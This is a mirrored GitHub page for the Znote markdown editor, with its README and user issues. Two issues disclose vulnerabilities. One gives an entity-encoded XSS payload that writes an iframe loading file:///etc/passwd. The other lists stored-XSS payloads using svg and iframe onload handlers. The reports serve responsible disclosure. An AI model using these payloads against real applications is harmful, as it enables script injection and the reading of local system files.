GithubHelp home page GithubHelp logo

znote-app's Introduction

What is Znote?

Znote is a Beautiful markdown editor inspired by Jupyter.

Your best companion for prototyping and centralizing your scripts.

https://znote.io

Screenshot

Screenshot

Download

App is available on Windows/Mac Store.

You can also download Linux and alternative binaries from the Github releases section.

Contact

Email: lagrede.anthony[at]gmail.com

This public website znote.io public website

Report bugs

Feel free to use the issues section.

Credits

Build with Electron and React

znote-app's People

Contributors

alagrede avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

znote-app's Issues

Change tag color

When changing tag color on the leftmost panel, the tag color does not change in the "Tags" panel, only on the file list.

Error Messages and console logs

I am trying to figure out why my mermaid diagrams are NOT working when using subgraphs and direction directives. I was wondering if there is a place where error messages from mermaid compile syntax errors might show up.

Please add support for YAML header

Version: 0.7.6-preview
OS: Windows


I love this app very much. It's really useful.
But YAML header doesn't much that is not expected output.
Therefore, would you like to add support for YAML header? Thanks!

Current displays:

image
image

Likely expected displays

image

Used src

Nested:

---
    key: "value"
    fruit:
    - apple
    - banana
    truthfulness: false
    integer: 2
---

# H1

NotNested:

---
key: "value"
fruit:
- apple
- banana
truthfulness: false
integer: 2
---

# H1

GUI Add multi-language support

I am from China, can you add multi-language support to the application? I can help you translate simplified Chinese.
Thanks for your work and wish you a happy new year!

Note is not synced

  • I have enabled server sync on mobile app
  • Used a desktop app to create a new note
  • After creating a new note, I enabled server sync on desktop app as well
  • Now it doesn't want to upload the note which I created before turning on server sync

Can I force it to upload the note or do I have to create a new one for it to upload the note?
OT: do you plan to have a paid version with higher server sync limit?

Mermaid error

when I write ```mermaid I get an error message Syntax error in graph
mermaid version 8.9.3 that does not allow to continue or close the application

Captura de Pantalla 2021-07-22 a la(s) 10 46 08

Security concern

Hello πŸ‘‹

I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@rezaduty) has found a potential issue, which I would be eager to share with you.

Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

Looking forward to hearing from you πŸ‘

(cc @huntr-helper)

Self Hosted - Server Sync

Hello!

Great note app, I have just learnt of it and so far it's pretty damn impressive, the only thing I would love to see (from the comments on dev.to as well) is to add some kind of server sync support.

Now I am not sure what your thoughts are, but what about a self hosted server version? I would be pretty interested to write the backend for this if you'd be interested? As this is going to be my replacement note taking app, and I use various devices so synchronisation between many devices would be extremely useful.

Alongside later down the line a paid solution? I can even host a SaaS version if you want? I have a spare server that is doing pretty much nothing other than running a website, so I am happy to host the backend etc if you want to take that route.

If you're interested - ping me a message via email (email is on my profile) or you can contact me on discord Dahknee#2404.

Again. thanks for making a great app!

Danny

Layout iOS 14.5

On iOS 14.5 iPhone 12 Pro Max, the search bar is up too high and sits in the status bar making it difficult to touch the search field to search tags or notes. image

Linux application layout

Hi, first of all - great app!
One thing which I would like to be improved is the look in Linux. As I'm using Gnome, the style with angular corners and the Windows style min/max/close buttons do not really fit. Would it be possible to have a style similar to the shown screenshots from Mac? This would suit better IMO.

Thanks for looking into this :)

Scrolling of the preview

Few preview scrolling issues I have noticed:

  • you can scroll the preview with mouse wheel independently from editing area but the preview scrollbar is not visible
  • the bottom of the preview seems to be "cut-off". It would be nice if there was a bit of empty space between the bottom of the preview and the bottom toolbar.

cut-off preview

  • Editing area scrolling is linked to preview scrolling. I don't think that's a good idea because in a lot of cases editing area and preview will have different heights and the scrolling positions will not match exactly. Imho, the preview should scroll automatically to the bottom when you add text to the editing area but otherwise the editing and preview scrollbars should be independent.

OT: it would be nice if there was an option to hide "tag" side panel without hiding note selection panel.

Feature request: Persist view mode

Hey,

Thanks for all the work on Znote. Loving the app and using it daily!

I have a feature request of a small improvement of the app.
It would be nice to use the view mode that was last used after reopening the app.

Screenshot 2020-11-15 at 12 27 58

At the moment the view mode is always reset after reopening the app.

Kind regards.

cannot add tag

When I try and add tag on windows version it does not save

Issues with mermaid graph

Hi!

I tried to build a mermaid graph with subgraph, and I get the error "Cannot set property 'rank' of undefined".

I've build an example of what causes the issue on an online live editor for easier comparison : https://mermaid.live/edit#pako:eNpVUktuwjAQvcrIi9JKoO5ZVEqgi6qiQg3QBelisAdwm9jBH1SEOBDn4GIdk4iqXljjz5v3sY9CWkViKDYOmy3MxqUBHtmyFO-Xs6QmaGtAEVTIc42Gy_s3-gmwIQPj4uWhFJ8dBgYDKEU-LwVXT5Avi2DdARQaDxVFByuU35XdpHb5_D9q9NyhRsuCKqb84-uDtzrcwNLWdTRgIzSWe_K9fM6bRpIzl3PX1cdVayjLYDl12jrtMVnpzpk3Sx4LDbtIPp341JIJeZ0Eqss5oK4827vqWqREyDBRcAS4J8meYPI6AwqPjGQdPjgMtzjIqLbI4Q5G1x5Z1u4sWs_jNhiQ6EH1oqFbwk0VPWyc9Z7ds9nG2S8KXUIfrGTqrCTvYwLa9dpdJXtyey0ZjRxL73LeRd0QpGRZkuiLmlyNWvFjH5OOUoQt1VSKIZeK1hgrpijNia9iDLY4GCmGwUXqi9goDDTWyKnWYrjGipUJUppfeNJ-oOs_Ov0CIJrATg

From what I could understand, pointing to or from a subgraph seems to causes the issue. I can skip the issue by pointing to an element in the subgraph, but my first goal was to skip having one rectangle that get multiple elements pointing to it as it's a "category" of elements.

Not an urgent bug, but if you planned an update to the software, if it could be looked at it would be nice.

Thanks!

Note : I couldn't find which version of zNote I'm at. Is there a way to find it ?

UX: Focus title input after creating new note

A couple of minor UX improvement suggestions:

  • Note title input should be focused after clicking add new note
  • Title should not revert back to default in-case of focus-out. Title should be set in both cases: when explicitly pressing enter to submit the input and when the field loses focus.

Cursor calibration is to high.

I need to click the line high to get the correct cursor position. If I hit the line to low, the line below is selected.

I'm running the app om macOS.

cursor (1)

Feature Request/Possible Bug

iOS 14.5 choosing dark mode(awesome) but if you close the app and come back the dark mode choice doesn't persist and defaults back to normal (still awesome).

Cannnot open znote anymore

As of today I am informed that znote will damage my mac when trying to open it.
See attached screenshot

[](url
Screenshot 2021-12-09 at 22 10 12
)

XSS to LFI in Runcode Feature

By default runcode santized document prefix but if html encode to &#0000100&#0000111&#000099&#0000117&#0000109&#0000101&#0000110&#0000116&#000046&#0000119&#0000114&#0000105&#0000116&#0000101&#000040&#000039&#000060&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000032&#0000115&#0000114&#000099&#000061&#0000102&#0000105&#0000108&#0000101&#000058&#000047&#000047&#000047&#0000101&#0000116&#000099&#000047&#0000112&#000097&#0000115&#0000115&#0000119&#0000100&#000062&#000060&#000047&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000062&#000039&#000041
then we can inserted html encoded func to html tag event like onerror
<img src=x onerror="&#0000100&#0000111&#000099&#0000117&#0000109&#0000101&#0000110&#0000116&#000046&#0000119&#0000114&#0000105&#0000116&#0000101&#000040&#000039&#000060&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000032&#0000115&#0000114&#000099&#000061&#0000102&#0000105&#0000108&#0000101&#000058&#000047&#000047&#000047&#0000101&#0000116&#000099&#000047&#0000112&#000097&#0000115&#0000115&#0000119&#0000100&#000062&#000060&#000047&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000062&#000039&#000041">

POC:
https://drive.google.com/file/d/1_Jh133kMAqMf8AUWrrjbOqRQpHSKlVyO/view?usp=sharing
https://drive.google.com/file/d/1ek5dg4PG3rADuUPPXUOlKE6qSVGmKdZB/view?usp=sharing

Multiple Stored XSS

[Description]
Multiple XSS payloads are available for znote. It leads to attacker's javascript execution

[Reproduce]
You can try with copy paste the payloads below:
1.

<svg>
<svg onload=alert(1)>

<iframe src=x onload=alert(1)>

ζˆͺεœ– 2021-02-03 δΈ‹εˆ9 57 16

Simpler todo list integration

ToDo list syntax already exists in the Markdown capabilities with the following syntax

- [ ] Item to do and to show its checked off - [X] Completed but this is a bit cumbersome when trying to rapidly mark down objectives while taking notes during a live meeting or event.

It would be great if this could be integrated in a block like syntax used for the other apps such as mermaid, so that it would be a more simplistic dash or the like.

If its possible, being able to check off items and have it update your markdown with a strike through that would also be fantastic but thats really more of a cool to have item.

RTL support

Currently there is no support for RTL languages like Arabic, Persian etc.
They are treated like LTR.
Please implement support for RTL.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.